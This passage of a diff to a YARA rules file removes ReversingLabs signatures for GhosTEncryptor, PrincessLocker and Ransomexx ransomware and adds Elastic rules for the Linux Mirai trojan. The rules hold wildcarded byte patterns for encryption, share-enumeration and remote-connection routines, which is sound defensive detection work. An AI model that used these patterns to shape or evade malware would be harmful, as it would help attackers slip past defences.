-            ?? ?? ?? 73 ?? 0F 1F 00 48 63 85 ?? ?? ?? ?? 42 C6 04 28 ?? FF 85 ?? ?? ?? ?? 48 63
-            85 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 72 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
-            5E 5B 5D C3
-        }
-		$enum_procs = {
-            40 56 48 81 EC ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 48 8B C8 48 8B F0 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 89 9C
-            24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ??
-            0F 1F 40 ?? 0F 1F 84 00 ?? ?? ?? ?? 33 DB 48 8B FD 66 66 66 0F 1F 84 00 ?? ?? 00 00
-            48 8B 0F 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF C3 48 83 C7 ?? 83 FB ?? 72
-            ?? EB ?? 44 8B 44 24 ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? BA
-            ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48
-            8B CE FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ??
-            48 8B 9C 24 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E C3
-        }
-		$enum_shares = {
-            48 83 EC ?? 33 D2 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C
-            8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            48 89 5C 24 ?? 8B 5C 24 ?? 48 89 7C 24 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 0D ??
-            ?? ?? ?? 4C 8D 43 ?? BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 48 8B
-            4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 66 0F
-            1F 44 00 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ??
-            48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B
-            5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C7 48 8D 54 24 ?? FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 48 8B 0D ?? ?? ?? ?? 4C 8B C7 33 D2 FF 15 ?? ?? ?? ?? 48 8B 4C 24 ??
-            FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 5C 24 ?? 48 83 C4 ?? C3
-        }
+		$a = { 23 CB 67 4C 94 11 6E 75 EC A6 76 98 23 CC 80 CF AE 3E A6 0C }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_shares) and ($enum_procs) and ($find_files) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostencryptor : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ec591E81 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects GhosTEncryptor ransomware."
-		author = "ReversingLabs"
-		id = "9f035e39-e0fe-54f3-8206-08fbbd9206b4"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara#L1-L69"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "85c1f6e5acf746388b0a9ddeb1f0ad1d2219fff7358c9a981849863155c13e3c"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ec591e81-8594-4317-89b0-0fb4d43e14c1"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1224-L1242"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7d45a4a128c25f317020b5d042ab893e9875b6ff0ef17482b984f5b3fe87e451"
+		logic_hash = "f2a147fe7f98d2b3141a1fda118ee803c81d9bc6f498bfaf3557665397eb44da"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "GhosTEncryptor"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "fe3d305202ca5376be7103d0b40f746fc26f8e442f8337a1e7c6d658b00fc4aa"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$enum_folders = {
-            17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 03 28 ?? ?? ?? ?? 0B 16 0C 38 ?? ?? ?? ??
-            07 08 9A 0D 02 09 28 ?? ?? ?? ?? 2C ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 02 7B ?? ?? ?? ?? 09 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 09 28 ?? ?? ?? ?? 26 08 17 58 0C 08 07 8E 69 3F ??
-            ?? ?? ?? 02 7B ?? ?? ?? ?? 06 17 6F ?? ?? ?? ?? 2A
-        }
-		$encrypt_folder_p1 = {
-            1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ??
-            ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72
-            ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ??
-            A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72
-        }
-		$encrypt_folder_p2 = {
-            A2 0A 03 28 ?? ?? ?? ?? 0B 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 07 09 9A 28 ?? ?? ?? ?? 13
-            ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 07 09 9A 04 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69
-            32 ?? 16 13 ?? 2B ?? 02 08 11 ?? 9A 04 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 08 8E 69
-            32 ?? 2A
-        }
-		$deep_search_p1 = {
-            17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 7E ?? ?? ?? ?? 0B 02 0C 16 0D 38 ?? ?? ??
-            ?? 08 09 9A 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
-            ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72
-        }
-		$deep_search_p2 = {
-            6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 07 11 ?? 72 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 0B 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 09 17 58 0D 09 08 8E
-            69 3F ?? ?? ?? ?? 07 06 17 6F ?? ?? ?? ?? 2A
-        }
+		$a = { 22 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_0Eba3F5A : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "0eba3f5a-1aa8-4dc8-9f63-01bc4959792a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1244-L1262"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e4f89c76dfefd4b2bfd1cf0467ac0324026355723950d12d7ed51195fd998cf"
+		logic_hash = "bcb2f1e1659102f39977fac43b119c58d6c72f828c3065e2318f671146e911da"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c0f4f9a93672bce63c9e3cfc389c73922c1c24a2db7728ad7ebc1d69b4db150f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { C3 55 48 89 E5 48 83 EC 40 48 89 7D C8 89 F0 66 89 45 C4 C7 45 DC 01 00 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_E43A8744 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "e43a8744-1c52-4f95-bd16-be6722bc4d1a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1264-L1282"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f363d9bd2132d969cd41e79f29c53ef403da64ca8afc4643084cc50076ddfb47"
+		logic_hash = "17c52d2b720fa2e98c3e9bb077525a695a6e547a66e8c44fcc1e26e48df81adf"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "e7ead3d1a51f0d7435a6964293a45cb8fadd739afb23dc48c1d81fbc593b23ef"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 23 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_folders) and ( all of ($deep_search_p*)) and ( all of ($encrypt_folder_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Princesslocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_6E8E9257 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects PrincessLocker ransomware."
-		author = "ReversingLabs"
-		id = "b76ef137-aa0b-5fd3-9876-2459cb6535ff"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.PrincessLocker.yara#L1-L92"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5be4ca3bd0b0afed1d2f3a59e2951d74a8de94c5a4d5a2c6cc29add49eab9ec0"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "6e8e9257-a6d5-407a-a584-4656816a3ddc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1284-L1301"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "67973257e578783838f18dc8ae994f221ad1c1b3f4a04a2b6b523da5ebd8c95b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "PrincessLocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "4bad14aebb0b8c7aa414f38866baaf1f4b350b2026735de24bcf2014ff4b0a6a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files = {
-            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45
-            ?? 50 53 FF D7 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ??
-            FF B5 ?? ?? ?? ?? FF D6 85 C0 75 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 53 FF D7 68 ?? ?? ??
-            ?? 8D 4D ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? ?? 85 DB 75 ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? 8B 30 89 B5 ?? ?? ?? ?? 3B F0 0F 84 ?? ?? ?? ?? 33 C9 C6 45 ?? ?? 6A ?? 51 8D
-            46 ?? 66 89 8D ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ??
-            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ??
-            66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 75 ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? C6 45 ?? ?? 8B CC
-            33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ??
-            C3 C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
-            45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
-            68 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D BD ?? ??
-            ?? ?? 6A ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 83 BD
-            ?? ?? ?? ?? ?? 6A ?? 0F 43 BD ?? ?? ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF
-            ?? 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 8D 85 ?? ??
-            ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 39 85 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            0F B6 C9 0F 46 C8 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 0F B6 C1 6A ?? 50 6A ?? FF
-            B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 FF 15
-        }
-		$remote_connection_1 = {
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F 85 ?? ?? ??
-            ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 45 ?? ??
-            ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
-        }
-		$remote_connection_2 = {
-            BA ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 66 C7 45 ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 55 ?? C6 45
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56
-            8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8B D0 C6 45 ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 53 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
-            ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8
-        }
+		$a = { 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54 }
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt_files and $remote_connection_1 and $remote_connection_2
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Ransomexx : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ac253E4F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Ransomexx ransomware."
-		author = "ReversingLabs"
-		id = "5e62660d-2696-56c7-9322-fed6ce9d36ff"
-		date = "2020-11-26"
-		modified = "2020-11-26"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ransomexx.yara#L1-L147"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "27b4132b7f16cafc40687e96a552ce59cc24ebf7679575680f170e3beee8a0a9"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ac253e4f-b628-4dd0-91f1-f19099286992"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1303-L1321"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
+		logic_hash = "1ab463fce01148c2cc95659fdf8b05e597d9b4eeabe81a9cdfa1da3632d72291"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ransomexx"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B F4 B3 ?? 85 F6 74 ?? C6 46 ?? ?? B0 ?? 66 C7 06 ?? ?? 88 5E ?? 88
-            46 ?? 8B C7 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8B C6 8D 78 ?? 8A 08 40 84
-            C9 75 ?? 2B C7 8D 84 10 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 56 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ??
-            ?? 8B F0 89 75 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E 5B 8B E5
-            5D C3 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 89 45 ?? 85 C0 74 ?? C6 40 ?? ?? 88 18 88
-            58 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 49 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50
-            ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F
-            84 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A
-        }
-		$find_files_p2 = {
-            51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8B C7 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 70 ??
-            8D 64 24 ?? 8A 08 40 84 C9 75 ?? 8B 1D ?? ?? ?? ?? 2B C6 8D 94 10 ?? ?? ?? ?? 52 6A
-            ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 56 FF
-            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ??
